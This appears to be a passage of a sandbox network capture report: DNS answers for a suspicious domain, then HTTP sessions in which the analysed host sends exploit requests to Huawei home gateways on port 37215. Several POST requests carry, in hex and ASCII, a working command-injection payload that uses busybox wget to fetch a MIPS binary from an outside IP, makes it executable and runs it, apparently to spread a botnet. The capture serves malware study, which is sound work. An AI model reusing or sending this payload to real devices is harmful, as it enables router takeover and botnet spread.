Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.200093985 CET	9.9.9.9	192.168.2.23	0x4dac	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.877268076 CET	208.67.222.222	192.168.2.23	0x78c0	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.259613037 CET	208.67.222.222	192.168.2.23	0x9fa4	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:40.008373022 CET	1.1.1.1	192.168.2.23	0xf68d	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	156.77.134.145	37215	192.168.2.23	42096

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:06.768949986 CET	687	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	42096	156.77.134.145	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:06.768949986 CET	687	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	37542	156.247.21.183	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:10.210320950 CET	764	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:14.280788898 CET	842	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.423923969 CET	1034	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh 